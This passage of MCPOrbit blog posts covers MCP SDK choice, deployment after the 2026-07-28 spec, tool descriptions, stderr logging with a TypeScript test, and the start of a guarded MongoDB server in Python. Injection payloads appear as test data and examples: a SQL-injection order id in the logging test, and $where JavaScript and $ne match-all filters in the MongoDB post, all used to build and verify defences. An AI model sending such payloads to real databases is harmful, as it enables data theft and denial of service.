a free choice: Python is fastest to write, TypeScript has the best HTTP story, Go gives you a single distributable binary, and Rust gives you the fastest startup and the smallest binary. All four SDKs cover the same protocol features. ### Is a Python MCP server too slow? Not for a long-lived server. We measured 454.6 ms from spawn to a completed handshake, which is invisible if the process stays up. It matters when a client spawns your server per request, or when a user has many stdio servers and each one adds half a second to app startup. ### Do I need Rust or Go to write a fast MCP server? Only if startup time is your bottleneck. Tool execution speed is usually dominated by whatever your tool calls out to, such as a database or an HTTP API. Rust and Go win on process startup, 3.5 ms and 6.5 ms against 120.6 ms for TypeScript, and on shipping a single binary. ### Which MCP SDK has the fewest dependencies? TypeScript. A stdio server on `@modelcontextprotocol/server` 2.0.0 resolves to exactly 3 packages and 14.4 MB. Python's `mcp` 2.1.1 pulls 28 packages including `starlette`, `uvicorn` and `cryptography`, because the HTTP transport ships in the same distribution as stdio. ### Do all the MCP SDKs support the 2026-07-28 spec revision? Not over the legacy `initialize` handshake. Asked for `2026-07-28`, only `rmcp` 3.1.4 answered with it. The Go and Python SDKs negotiated down to `2025-11-25`, and the TypeScript SDK pins `initialize` to `2025-11-25` and reaches the newer revision through `server/discover` instead. Check what your SDK negotiates rather than what its README says. ### Can I get structured output from a tool in every SDK? Yes, but two of them do it for you. Go generates an `outputSchema` from your typed return struct, and Python generates one from the return annotation, so both emit `structuredContent` automatically. In TypeScript and Rust you declare the output schema explicitly. --- # Where should you deploy an MCP server? URL: https://mcporbit.com/blog/where-to-deploy-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-01 Updated: 2026-09-04 Category: Comparison Tags: MCP, deployment, serverless, edge, hosting, comparison Since the 2026-07-28 spec removed protocol sessions, most MCP servers can run on plain serverless behind a round-robin load balancer. Three questions decide it: do you serve change notifications, how long does your slowest tool call run, and do you need per-user OAuth. Here is the decision, target by target. Deploy your MCP server to ordinary serverless or an edge runtime unless one of three things is true. You need a long-lived host, meaning a container or a VM, if your server offers change notifications through `subscriptions/listen`, if a single tool call can run longer than your platform's response timeout, or if you terminate per-user OAuth and want the token exchange to stay on infrastructure you control. Everything else is now a normal stateless HTTP service, because the 2026-07-28 specification deleted the protocol-level session that used to force sticky routing. **The short version** - The 2026-07-28 spec removed the `Mcp-Session-Id` header and protocol sessions entirely (SEP-2567), so any instance can answer any request. Round-robin load balancing works with no shared session store. - It also removed the `initialize` and `notifications/initialized` handshake (SEP-2575). A tool call is now a single self-contained POST, which is exactly the shape serverless functions are good at. - The one hard constraint is `subscriptions/listen`: a single long-lived POST-response stream for change notifications. If you implement it, you need a host that tolerates long-lived connections. - Stream resumability is gone. `Last-Event-ID` and SSE event IDs were removed (SEP-2575), so a dropped response stream loses the in-flight request and the client must re-issue it. Platform timeout limits matter more than they used to, not less. - `Mcp-Method` and `Mcp-Name` are now required request headers (SEP-2243), so a gateway can route, meter, and rate-limit MCP traffic without parsing JSON bodies. - Local-only servers should stay on stdio. Not deploying is a valid answer and it is the right one for anything touching a developer's own filesystem. > **Version check** > > This guide tracks the 2026-07-28 MCP specification, the current release. If you are still on 2025-11-25 or earlier, your server holds protocol sessions and the advice here does not apply yet. Read [the migration guide](/blog/do-you-need-to-migrate-mcp-server-july-28) first. ## Where should you deploy an MCP server? Answer three questions in order. The first one that comes back yes picks your target, and if all three come back no you can use anything, including the cheapest serverless tier you have. - Does your server implement `subscriptions/listen` for change notifications? If yes, you need a runtime that allows long-lived connections. That rules out most short-timeout function platforms and points at a container, a VM, or an edge runtime with explicit streaming support. - Can any single tool call outlast your platform's maximum response duration? If yes, either move that work behind the tasks extension and return a handle immediately, or host on something without a hard request ceiling. - Do you terminate per-user OAuth yourself rather than delegating to an external authorization server? If yes, you are running stateful credential storage next to the server, and a container with a real datastore is usually simpler than assembling the same thing from serverless parts. Notice what is not on that list: request volume, number of tools, and whether the server is public. None of those change the deployment shape any more. Before 2026-07-28 they interacted with session affinity, so they did. ## What changed in the 2026-07-28 spec that made serverless viable? Two removals, and they compound. SEP-2567 removed protocol-level sessions and the `Mcp-Session-Id` header from the Streamable HTTP transport. SEP-2575 removed the `initialize` and `notifications/initialized` handshake, so every request now carries its own protocol version and client capabilities in `_meta`, under the keys `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities`. Together those mean a request no longer depends on anything that happened on a previous request. There is no handshake to have completed and no session to have been pinned to. A cold function instance that has never seen this client can answer a `tools/call` correctly on the first try. That is what makes the deployment story boring, which is the goal. You put N identical instances behind a plain round-robin load balancer with no shared Redis, no sticky cookies, and no consistent hashing. Servers that genuinely need cross-call state now mint explicit handles and pass them back as ordinary tool arguments, which makes the state visible in the transcript instead of hidden in the transport. > **Check before you assume** > > Statelessness is a property of your server, not a gift from the spec. If your handlers still close over a module-level `Map` keyed by client, you are stateful no matter what version you claim. The concrete migration is in [how to make an MCP server stateless](/blog/make-an-mcp-server-stateless). ## Does your server need a long-lived connection? This is the question that actually rules platforms out, so answer it precisely. The 2026-07-28 spec replaced the old HTTP GET endpoint and the `resources/subscribe` and `resources/unsubscribe` methods with a single method called `subscriptions/listen`. It opens one long-lived POST-response stream, and the client opts in to specific notification types: `toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, and `resourceSubscriptions`. If you implement `subscriptions/listen`, that stream stays open for as long as the client wants notifications. A function platform that caps a response at a fixed number of seconds will cut it, and the client will see the subscription die repeatedly. That is the single clearest signal that you want a container or a VM. The important nuance is what does not need that stream. Request-scoped notifications, including `notifications/progress` and `notifications/message`, still flow on the response stream of the request they belong to. They do not use `subscriptions/listen`. So a server that reports progress during a slow tool call is not a subscribing server, and it does not need a long-lived listen stream. It only needs its own single response to stay open long enough to finish. ## Why a dropped stream now costs more than it used to This one gets missed, and it cuts against the general direction of travel. SEP-2575 removed SSE stream resumability and message redelivery from Streamable HTTP. The `Last-Event-ID` header and SSE event IDs are gone. If a response stream breaks, the in-flight request is lost, and the client must re-issue it as a new request with a new request ID. So the spec made servers easier to scale and simultaneously made dropped connections more expensive. There is no resume. Every broken stream is a full retry of whatever work was in progress, and if that tool call had side effects you now care a lot about whether it was idempotent. Practically: find your slowest tool call, take its p99, and compare it to the hard response ceiling of the platform you are considering. If the p99 is anywhere near the ceiling, you will be paying for silent full retries under load. Either pick a host without that ceiling or stop holding the request open and return a task handle instead. ## MCP deployment targets compared Read this as a decision table, not a ranking. The right-hand columns are the constraints that actually differ between targets once the protocol is stateless. ```text Target Sticky Long-lived Cold Best for routing streams starts ------------------------------------------------------------------------- Local stdio n/a n/a none Filesystem, git, local dev tools, secrets that must never leave the box Edge runtime no varies by minimal Public read-mostly (Workers-class) platform servers, wrapped REST APIs, global latency Serverless function no usually no yes Bursty internal servers, (Lambda-class) short deterministic tool calls Container / VM no yes none subscriptions/listen, (Cloud Run, ECS, long tool calls, self Fly, plain VM) terminated OAuth Behind a gateway no inherits inherits Multi-tenant metering, (API GW, CF, nginx) from origin origin per-method rate limits ``` The `Sticky routing` column reads `no` on every hosted row, and that is the whole point. Under the previous spec revision it would have read `yes` on all of them, which is what made MCP awkward to deploy on anything without session affinity. For a worked example of the edge row, including the `fetch` handler shape and a one-command deploy, see [deploying a stateless MCP server to Cloudflare Workers](/blog/deploy-stateless-mcp-server-cloudflare-workers). ## What can you put in front of an MCP server now? More than before, and this is a genuine operational upgrade. SEP-2243 made `Mcp-Method` and `Mcp-Name` required headers on Streamable HTTP POST requests. The method and the tool name are now readable from the headers alone. That means a gateway, rate limiter, or WAF can route and meter MCP traffic without parsing a JSON-RPC body. You can rate-limit one expensive tool by name, send `tools/list` to a cache and `tools/call` to the origin, or bill per method, all in gateway config. Details on [routing with the `Mcp-Method` and `Mcp-Name` headers](/blog/mcp-routing-headers-mcp-method-mcp-name). Caching got a sanctioned path too. SEP-2549 requires `ttlMs` and `cacheScope` on results from `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list`. `ttlMs` is a freshness hint in milliseconds, and `cacheScope` is either `public` or `private`, which controls whether a shared intermediary may cache the response. A `public` scope on `tools/list` means a CDN in front of your server is a supported design rather than a hack. See [how to cache your MCP server's tool list](/blog/cache-mcp-tool-list-ttlms-cachescope). > **Do not cache a private scope** > > `cacheScope: "private"` exists because some servers return per-user tool lists. Caching one of those at a shared CDN leaks one user's tools to another. If your list results vary by identity, set `private` and make sure your CDN honors it before you put anything in front of the origin. ## When should you not deploy at all? When the server's whole job is on the user's machine. A server that reads the local filesystem, drives a local git checkout, or holds a developer's own API keys should run as a stdio subprocess launched by the client. There is no endpoint to attack, no credential to store centrally, and no deployment to operate. Note that the deprecations in 2026-07-28 nudge this way too. Logging was deprecated (SEP-2577), and the suggested migration is to write to `stderr` on stdio or use OpenTelemetry. Deprecated features keep working for a minimum twelve-month window under the new feature lifecycle policy, so nothing breaks today, but new servers should not adopt them. The transport choice and the deployment choice are the same decision made twice. If you are unsure which transport you want, start with [stdio vs Streamable HTTP](/blog/mcp-transport-stdio-vs-streamable-http). --- ## Frequently asked questions ### Can I run an MCP server on AWS Lambda or Cloud Functions? Yes, for request/response servers. Since the 2026-07-28 spec removed protocol sessions and the initialize handshake, a cold instance can answer any request correctly. The limits to check are the platform's maximum response duration against your slowest tool call, and whether you need `subscriptions/listen`, which needs a long-lived connection that most function platforms will cut. ### Do I still need sticky sessions or a shared session store for MCP? No. SEP-2567 removed protocol-level sessions and the `Mcp-Session-Id` header. Every request carries its own protocol version and capabilities in `_meta`, so a plain round-robin load balancer is enough. Servers that need cross-call state mint explicit handles and pass them as ordinary tool arguments instead. ### How long can a single MCP tool call run? As long as your host allows the response to stay open, because the spec does not set a ceiling. That is the problem: SEP-2575 removed stream resumability, so if the connection drops the request is lost and the client must re-issue it with a new request ID. For work that can outlast a request, return a handle through the `io.modelcontextprotocol/tasks` extension rather than holding the stream. ### Can I put a CDN in front of an MCP server? Yes, for list and read results. SEP-2549 requires `ttlMs` and `cacheScope` on `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list`. A `cacheScope` of `public` tells shared intermediaries they may cache the response. Do not cache anything marked `private`, which is how per-user tool lists are flagged. ### Is stdio still a supported way to run an MCP server? Yes. stdio is not deprecated and remains the right choice for servers that operate on the user's own machine, such as filesystem, git, and local development tools. What was deprecated in 2026-07-28 is the old HTTP+SSE transport, which was already deprecated in 2025-03-26 and is now formally in the deprecated state. ### Does deploying to the edge change how I do OAuth? It changes where your tokens live, not the protocol. Delegating to an external authorization server works fine on edge and serverless. Terminating OAuth yourself means storing client credentials and refresh tokens somewhere durable, which is usually simpler on a container next to a real datastore. Note that 2026-07-28 also deprecated Dynamic Client Registration in favor of Client ID Metadata Documents. ## Related guides - Make an MCP server stateless (2026-07-28 spec): https://mcporbit.com/blog/make-an-mcp-server-stateless - Deploy a stateless MCP server to Cloudflare Workers: https://mcporbit.com/blog/deploy-stateless-mcp-server-cloudflare-workers - MCP transport: stdio vs Streamable HTTP: https://mcporbit.com/blog/mcp-transport-stdio-vs-streamable-http - MCP routing headers, Mcp-Method and Mcp-Name: https://mcporbit.com/blog/mcp-routing-headers-mcp-method-mcp-name - Cache tool lists with ttlMs and cacheScope: https://mcporbit.com/blog/cache-mcp-tool-list-ttlms-cachescope - Do you need to migrate your MCP server for July 28: https://mcporbit.com/blog/do-you-need-to-migrate-mcp-server-july-28 - Handle long-running tasks in an MCP server: https://mcporbit.com/blog/mcp-server-long-running-tasks --- # How do you write good descriptions for MCP tools? URL: https://mcporbit.com/blog/write-good-mcp-tool-descriptions Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-31 Updated: 2026-09-04 Category: Explainer Tags: MCP, Tool Descriptions, Prompt Engineering, AI Agents, Explainer A good MCP tool description starts with a verb, states its inputs and output, and says when not to use it. Here is what to include, with a before-and-after example. A good Model Context Protocol (MCP) tool description starts with a verb, states exactly what the tool needs and returns, and says when not to use it. An AI model picks a tool by reading that text alone, not by asking a person, so the description works as the entire manual. This post covers what to put in a tool description, how long it should be, and a real before-and-after rewrite you can copy the pattern from. **What you'll get from this post** - The four things every MCP tool description needs, and the order to put them in. - How long a description should be, with a too-short and a too-long example. - A real before-and-after rewrite of a bad tool description. - Where the tool description ends and the JSON schema's own field descriptions take over. ## Why does an MCP tool description matter so much? A Model Context Protocol (MCP) client shows an AI model a list of tools before any of them run. Each entry has a name, a description, and an input schema. That text is the only signal the model gets before it decides which tool to call and what arguments to send. Get the description wrong and the model picks the wrong tool, or the right tool with the wrong arguments. Every retry costs tokens and time, and a bad enough description makes the model avoid a tool it should have used. Think of a tool description like a job posting. A posting that says 'various duties as assigned' tells a candidate nothing useful. One that lists the exact tasks, the hours, and what the role does not cover gets the right people applying. An MCP tool description does the same job for a model deciding whether to call it. ## What should an MCP tool description include? A good description answers four questions in one or two sentences: what the tool does, what it needs, what it returns, and when to skip it. - Start with a verb. "Creates a support ticket with a title and priority" beats "A tool for ticket management." - State what it needs. Name the required inputs and any limits, like a maximum row count or a date range. - State what it returns. "Returns a JSON object with `id`, `status`, and `url`" stops the model guessing the shape of the reply. - Say when not to use it. "Do not use this for updates over 50 records" heads off a slow loop of single calls. ## How long should an MCP tool description be? One to two sentences, with the most important fact first. A model does not always read to the end of a long description before it decides, so put the part that matters most at the start. - Too short: "Manages tickets." The model does not know what "manage" covers, so it either avoids the tool or guesses at the arguments. - Too long: a five-sentence paragraph covering edge cases and internal details. Most models weigh the first sentence heavily and skim the rest. - Right length: "Creates a support ticket with a title, description, and priority. Returns the new ticket's id and a URL." Two sentences, and both are doing work. ## What does a bad MCP tool description look like next to a good one? Here is the same tool, described badly and then well. The tool itself does not change, only the text a model reads before calling it. ```json { "name": "handle_ticket", "description": "A tool for ticket management." } ``` That description does not say what "handle" means, what arguments the tool takes, or what comes back. A model calling it is guessing on every field. ```json { "name": "create_support_ticket", "description": "Creates a support ticket with a title, description, and priority (low, medium, or high). Returns the new ticket's id and URL. Use update_support_ticket to change an existing ticket." } ``` The rewrite starts with a verb, names the three inputs, states the return shape, and points to a different tool for updates. A model reading this knows exactly when to call it and what to send. ## Does a constraint belong in the description or the schema? Both, but they do different jobs. The tool-level description is the overview: what the tool does and where its limits are. Each parameter's own description in the JSON schema carries the detail for that one field, like a format or a valid range. ```json { "priority": { "type": "string", "enum": ["low", "medium", "high"], "description": "How urgent the ticket is. Defaults to medium if omitted." } } ``` Put the big picture in the tool description and the field-level rules in the schema. A model reads both before it fills in a call, so neither one should repeat the other word for word. > **See what a model sees** > > [MCPOrbit's tool explorer](/) lists every tool an MCP server exposes, its full description, and its input schema, so you can read a tool the way a model reads it before you wire it into an agent. --- ## Common questions ### What makes an MCP tool description good? A good MCP tool description starts with a verb, states what the tool needs, states what it returns, and says when not to use it, all in one or two sentences that a model reads before deciding which tool to call. ### How long should an MCP tool description be? One to two sentences. Put the most important fact first, since a model weighs the opening of a description more than the sentences that follow it. ### Should the description repeat what is in the input schema? No. The tool description covers what the tool does and its limits. Each parameter's own description in the JSON schema covers the detail for that one field, like a format or a default value. ### Can a bad MCP tool description cause errors? Yes. A vague description leads a model to call the wrong tool or send the wrong arguments, which costs a retry. A clear description with stated inputs, outputs, and limits cuts down on those wrong calls. ### Do MCP tool descriptions support formatting like bold text or links? Description fields in the MCP tool schema are plain strings. Clients are not required to render markdown, so do not rely on bold text, links, or headers. Put anything important in plain sentences instead. A good MCP tool description tells a model what it does, what it needs, what it returns, and when to leave it alone, in a sentence or two. [Add your MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and its tool explorer shows how your own tool descriptions read to a model before you connect it to an agent. [Download MCPOrbit for macOS](/api/download) --- # How to log from an MCP server (logging is deprecated) URL: https://mcporbit.com/blog/log-from-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-30 Updated: 2026-09-04 Category: Build-it Tags: MCP, TypeScript, Observability, Engineering The MCP logging capability was deprecated on 2026-07-28. Log to stderr as JSON instead, and learn which stdout writes really corrupt a stdio server. Log from a Model Context Protocol (MCP) server by writing one JSON object per line to stderr. Do not use the protocol's `logging` capability: `sendLoggingMessage` was deprecated in the 2026-07-28 spec under SEP-2577, and the official guidance for stdio servers is now stderr or OpenTelemetry. On stdio, stdout belongs to the protocol. That much is well known. What is less known is exactly which stray writes break it, because the common advice is wrong in a way that makes the bug harder to find. A complete line of non-JSON text is skipped by the reader and costs you nothing. A write with no trailing newline glues itself to the next message and hangs the call. Below is the logger I use instead, plus the test that proves both claims. - The MCP `logging` capability is deprecated as of 2026-07-28 (SEP-2577) and keeps working for at least twelve months. - Replacement for stdio servers: structured JSON lines on stderr. Replacement for HTTP servers: your normal logger or OpenTelemetry. - `console.log("text")` mid-call is tolerated. The reader skips lines it cannot parse. - `process.stdout.write("text")` with no newline is what actually breaks: the next response fails to parse and the call hangs. - Redact secret-looking field names in the logger itself, so no individual call site has to remember. - A log level read from the environment keeps debug output available without shipping it on by default. ## Is MCP's logging capability deprecated? Yes. The 2026-07-28 revision deprecated the `logging` capability along with sampling, both under SEP-2577. The SDK still ships `sendLoggingMessage` and the `logging/setLevel` handler, and the lifecycle policy introduced in the same revision guarantees a deprecated feature keeps working for at least twelve months. So nothing breaks today. The point is that new servers should not adopt it. The reasoning is the same as for sampling. Protocol logging routes your diagnostics through the client, which means you only see them when a client is attached, only at the level that client asked for, and only in whatever surface that client happens to render. That is a poor fit for the thing you actually want logs for, which is diagnosing a server that is misbehaving in production. The deprecation note in the SDK types is explicit: migrate to stderr logging for stdio servers, or OpenTelemetry. > **What this means for an existing server** > > If you already call `sendLoggingMessage`, you have a year or more and no emergency. Add stderr logging alongside it now, confirm you can debug from the stderr stream alone, then drop the protocol calls at your convenience. ## Why can't an MCP server just use console.log? A stdio server speaks JSON-RPC over its standard output, one message per line. The usual warning is that any `console.log` corrupts that stream. I tested it against the v2 SDK, and the real behavior is more specific than that, which matters because it explains why the bug is intermittent. A complete line of junk is survivable. The reader splits stdout on newlines and skips anything that does not parse as JSON. A server that prints `console.log("ready")` at startup, or even in the middle of a tool call, keeps working. This is exactly why the mistake spreads: it looks fine in development. ```typescript // Survives. The reader skips the line it cannot parse, and the call returns. console.log("working..."); // Breaks. With no newline this prefix is glued onto the front of the next // JSON-RPC message, that line fails to parse, and the response is lost. process.stdout.write("working..."); ``` The second case is the one that bites. The response the server sent is consumed as part of an unparseable line, so the client never sees it. There is no error and no crash. The tool call simply never resolves, and the client eventually times out. Anything that writes a partial line to stdout does this: a progress bar, a spinner, a stray `process.stdout.write`, or a dependency that prints a startup banner without a newline. > **The rule that covers every case** > > Do not reason about which writes are safe. On a stdio server, treat stdout as owned by the transport and send every diagnostic to stderr. Clients capture stderr already, so you lose nothing. ## Write the logger The whole logger is one file and about thirty lines. It does three jobs: filter by level, redact secret-looking fields, and write one JSON object per line to stderr. Structured lines matter because a log shipper can parse them without a regex, and you can still read them with `grep`. ```typescript // Structured logging for an MCP server. Every line goes to stderr, because on // stdio the stdout stream belongs to the protocol. const LEVELS = ["debug", "info", "warning", "error"] as const; type Level = (typeof LEVELS)[number]; // An unrecognized MCP_LOG_LEVEL falls back to "info" rather than logging // everything, so a typo in a client config cannot flood the log. const configured = process.env.MCP_LOG_LEVEL as Level | undefined; const threshold = LEVELS.indexOf( configured && LEVELS.includes(configured) ? configured : "info" ); // Field names whose values must never reach a log file. const SECRET_KEY = /^(authorization|api[-_]?key|token|password|secret)$/i; function redact(fields: Record): Record { const safe: Record = {}; for (const [key, value] of Object.entries(fields)) { if (value === undefined) continue; // an absent field is not a redacted one safe[key] = SECRET_KEY.test(key) ? "[redacted]" : value; } return safe; } export function log( level: Level, message: string, fields: Record = {} ): void { if (LEVELS.indexOf(level) < threshold) return; // One JSON object per line: greppable by a human, parseable by a log shipper. const line = JSON.stringify({ ts: new Date().toISOString(), level, message, ...redact(fields), }); process.stderr.write(line + "\n"); } ``` Two details are worth calling out. Redaction happens by field name inside the logger, so no call site has to remember which values are sensitive. And an unrecognized `MCP_LOG_LEVEL` falls back to `info` rather than to index `-1`, which would have logged everything. A typo in a client config should not turn debug logging on in production. ## Use it from a tool Now a small server with one tool that logs its start, its success, and its failure path. Note that `apiKey` is passed to the logger by name on purpose, to show the redaction working on a real value. ```typescript import { z } from "zod"; import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { log } from "./logger.ts"; function createServer() { const server = new McpServer( { name: "log-demo", version: "1.0.0" }, { capabilities: { tools: {} } } ); server.registerTool( "lookup_order", { title: "Look up order", description: "Fetch the status of an order by its id.", inputSchema: z.object({ orderId: z.string(), apiKey: z.string().optional(), }), outputSchema: z.object({ orderId: z.string(), status: z.string() }), }, async ({ orderId, apiKey }) => { const startedAt = Date.now(); // apiKey is passed to redact() by name and never reaches the log file. log("debug", "tool.start", { tool: "lookup_order", orderId, apiKey }); if (!/^ord_[a-z0-9]+$/.test(orderId)) { log("error", "tool.rejected", { tool: "lookup_order", orderId, reason: "malformed order id", }); return { content: [{ type: "text", text: `unknown order: ${orderId}` }], isError: true, }; } const output = { orderId, status: "shipped" }; log("info", "tool.ok", { tool: "lookup_order", orderId, ms: Date.now() - startedAt, }); return { content: [{ type: "text", text: JSON.stringify(output) }], structuredContent: output, }; } ); return server; } serveStdio(createServer); log("info", "server.ready", { transport: "stdio", pid: process.pid }); ``` Running it and calling the tool twice, once with a good id and once with a bad one, produces this on stderr. The API key is redacted, the failed call is recorded at `error`, and the absent `apiKey` on the second call is omitted rather than reported as redacted. ```json {"ts":"2026-08-30T09:14:02.857Z","level":"info","message":"server.ready","transport":"stdio","pid":47612} {"ts":"2026-08-30T09:14:02.869Z","level":"debug","message":"tool.start","tool":"lookup_order","orderId":"ord_1042","apiKey":"[redacted]"} {"ts":"2026-08-30T09:14:02.869Z","level":"info","message":"tool.ok","tool":"lookup_order","orderId":"ord_1042","ms":0} {"ts":"2026-08-30T09:14:02.870Z","level":"debug","message":"tool.start","tool":"lookup_order","orderId":"nope"} {"ts":"2026-08-30T09:14:02.870Z","level":"error","message":"tool.rejected","tool":"lookup_order","orderId":"nope","reason":"malformed order id"} ``` ## Prove the stream stayed clean A logging change is easy to get wrong quietly, so assert it. This test spawns the server over a real stdio connection, sets `stderr` to `pipe` so it can read the log stream, and drives both tool paths. Every log line must parse as JSON on its own, which fails if anything except the logger wrote to the stream. ```typescript /** Drives the server over a real stdio connection and asserts three things: * the tools still work, the log lines are parseable JSON on stderr, and the * secret never lands in the log. Run it with: node test.ts */ import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; type LogLine = { level: string; message: string; [key: string]: unknown }; // Spawn the server at a given log level, exercise both tool paths, and hand // back everything it wrote to stderr. async function run(level: string): Promise<{ lines: LogLine[]; raw: string }> { // stderr: "pipe" hands us the server's log stream instead of letting it // pass through to our own terminal. const transport = new StdioClientTransport({ command: "node", args: ["server.ts"], env: { ...process.env, MCP_LOG_LEVEL: level }, stderr: "pipe", }); let raw = ""; const client = new Client({ name: "log-test", version: "1.0.0" }); await client.connect(transport); transport.stderr?.on("data", (chunk: Buffer) => (raw += chunk.toString())); const ok = await client.callTool({ name: "lookup_order", arguments: { orderId: "ord_1042", apiKey: "sk-live-do-not-log-me" }, }); assert.deepEqual(ok.structuredContent, { orderId: "ord_1042", status: "shipped", }); const bad = await client.callTool({ name: "lookup_order", arguments: { orderId: "'; DROP TABLE orders --" }, }); assert.equal(bad.isError, true); await new Promise((resolve) => setTimeout(resolve, 250)); // let stderr flush await client.close(); // Every line must be a complete JSON object. A partial or non-JSON line // means something wrote to the stream that was not the logger. const lines = raw .trim() .split("\n") .filter(Boolean) .map((line) => JSON.parse(line) as LogLine); return { lines, raw }; } // 1. At debug level every stage is recorded, and the tool calls above both // returned correct results, which only happens if stdout stayed clean. const debug = await run("debug"); assert.ok(debug.lines.some((l) => l.message === "tool.start" && l.level === "debug")); assert.ok(debug.lines.some((l) => l.message === "tool.ok" && l.orderId === "ord_1042")); assert.ok(debug.lines.some((l) => l.message === "tool.rejected" && l.level === "error")); // 2. The API key was logged by name and came out redacted. assert.ok(!debug.raw.includes("sk-live-do-not-log-me")); assert.ok(debug.lines.some((l) => l.apiKey === "[redacted]")); // 3. At error level the debug and info lines are gone, the error line remains. const errors = await run("error"); assert.equal(errors.lines.filter((l) => l.level !== "error").length, 0); assert.ok(errors.lines.some((l) => l.message === "tool.rejected")); console.log("ALL CHECKS PASSED"); ``` The tool assertions are load-bearing. If a stray write had corrupted stdout, `callTool` would never resolve and the test would hang instead of passing. Run it with one command. No build step is needed, because Node strips the TypeScript types itself. ```bash npm install @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0 zod@4.4.3 node test.ts # ALL CHECKS PASSED ``` ## What about HTTP servers? None of the stdout hazard applies to a streamable HTTP server. The protocol travels over HTTP, so stdout is yours and your normal logger works unchanged. Use whatever your platform already collects, and reach for OpenTelemetry when you want spans across a whole request rather than lines in a file. One habit carries over from stdio: log an identifier you can correlate on. For HTTP that is the request or session id, so a report of one slow call maps to one trace. Keep the redaction rule too, since an `Authorization` header is the value most likely to end up somewhere it should not. ## Frequently asked questions ## Frequently asked questions ### How do I log from an MCP server? Write one JSON object per line to stderr with a timestamp, a level, a message, and any structured fields. On a stdio server stdout carries JSON-RPC, so stderr is the only safe destination. Clients capture the server's stderr, so the lines are still available to whoever launched the process. ### Is MCP's logging capability deprecated? Yes. The `logging` capability and `sendLoggingMessage` were deprecated in the 2026-07-28 spec revision under SEP-2577. They keep working for at least twelve months under the spec's deprecation policy, but new servers should log to stderr or use OpenTelemetry instead. ### Does console.log really break an MCP server? Not always, which is why the bug is confusing. A complete line is skipped by the reader because it does not parse as JSON, and the connection survives. A write without a trailing newline, such as a bare `process.stdout.write`, is prepended to the next JSON-RPC message and makes that response unreadable, so the call hangs. Treat stdout as off limits rather than trying to remember the difference. ### Why is my MCP tool call hanging with no error? Check whether anything writes to stdout without a newline: a progress indicator, a debug print, or a dependency's startup banner. A partial line corrupts the framing of the next response, so the client waits for a message it can never parse. Move every diagnostic to stderr and the call resolves. ### How do I keep secrets out of MCP server logs? Redact by field name inside the logger, not at each call site. Match keys like `authorization`, `api_key`, `token`, `password`, and `secret`, and replace their values before serializing. Centralizing it means a new tool cannot leak a credential by forgetting to sanitize. ### What versions does this code target? It was run against `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, and `zod` 4.4.3 on Node.js 25.8.1, which track the 2026-07-28 specification. Node runs the TypeScript files directly, so there is no build step. That is a logging setup that survives the deprecation, keeps credentials out of your log files, and cannot corrupt the protocol. The pattern is small on purpose: one file, one rule about stdout, and a test that fails loudly if either is violated. To confirm stdout stayed clean, [run the server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and watch what actually comes back over the wire. [Download MCPOrbit for macOS](/api/download) --- # How to Build an MCP Server for MongoDB URL: https://mcporbit.com/blog/build-an-mcp-server-for-mongodb Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-29 Category: Build-it Tags: MCP, Python, MongoDB, Security, Engineering, Databases Build a MongoDB MCP server in Python that lists collections and queries documents, with a filter guard that turns a model's {"$where": "..."} into a tool error instead of server-side JavaScript. To build a Model Context Protocol (MCP) server for MongoDB, expose a small set of read tools (list collections, find documents, count documents) from the official Python `mcp` SDK, and run every model-supplied filter through one guard that allows plain field-equality and rejects MongoDB operators. That guard is the whole job: without it, a filter like `{"$where": "..."}` runs JavaScript on your database, and `{"$ne": ""}` quietly returns every document. Below is a complete MongoDB server in one file. It gives a client three read-only tools, connects through a read-only user, and treats every filter as hostile input. The security spine is a 12-line function; the rest is wiring. - The server exposes three tools: `list_collections`, `find_documents`, and `count_documents`. - One helper, `_safe_filter`, allows flat `field: value` equality and rejects any `$` operator or dotted key. - Model input never becomes a MongoDB operator, so `$where` JavaScript and `$ne` match-all attacks are refused. - BSON `ObjectId` and `datetime` values are coerced to strings so results survive JSON-RPC. - Results are capped at 50 documents so a broad query cannot return an entire collection. ## What does a MongoDB MCP server do? A MongoDB MCP server turns a database into tools an AI client can call. Instead of writing a query, the model asks `find_documents` for users where `status` is `active`, and gets structured documents back. It is the most requested database server after Postgres, because so many application backends already store their data in MongoDB. It is also the one where the naive version is dangerous in a way SQL developers do not expect. A MongoDB filter is a JSON object, and the model builds that object. If you pass it straight to PyMongo, the model can insert query operators: `{"$where": "sleep(5000) || true"}` executes JavaScript on the server, and `{"price": {"$gt": ""}}` matches every document regardless of the price the caller asked about. This is NoSQL injection, and the fix is to never let model input reach the operator layer. ## Set up the project Create a project with uv and add three dependencies: the SDK, the MongoDB driver, and `mongomock` for a database-free test. The `mcp` package pulls in Pydantic, which the SDK uses to build tool schemas from your type hints. ```bash uv init --python 3.11 mongo-tools && cd mongo-tools uv add "mcp[cli]==2.0.0" "pymongo==4.11" mongomock ``` ## Sanitize the filter first The security spine of a MongoDB server is one function. It walks the filter the model sent and rebuilds it, allowing only string keys that name a field and scalar values. A key that starts with `$` is a MongoDB operator; a key with a `.` reaches into a subdocument. A value that is itself an object is an operator expression like `{"$ne": ""}`. All three are rejected before the query is built. ```python import os from datetime import datetime from typing import Any from bson import ObjectId from pymongo import MongoClient from mcp.server.mcpserver import MCPServer # One connection, reused across every tool call. Point MONGO_URI at a # read-only user so a bug in a tool can never write or drop a collection. MONGO_URI = os.environ["MONGO_URI"] DB_NAME = os.environ.get("MONGO_DB", "app") MAX_LIMIT = 50 client: MongoClient = MongoClient(MONGO_URI) db = client[DB_NAME] mcp = MCPServer(name="mongo-tools", version="1.0.0") def _safe_filter(filter: dict[str, Any]) -> dict[str, Any]: """Allow only flat field == value equality. Reject anything that could inject a MongoDB operator: a $-prefixed key ($where runs JavaScript 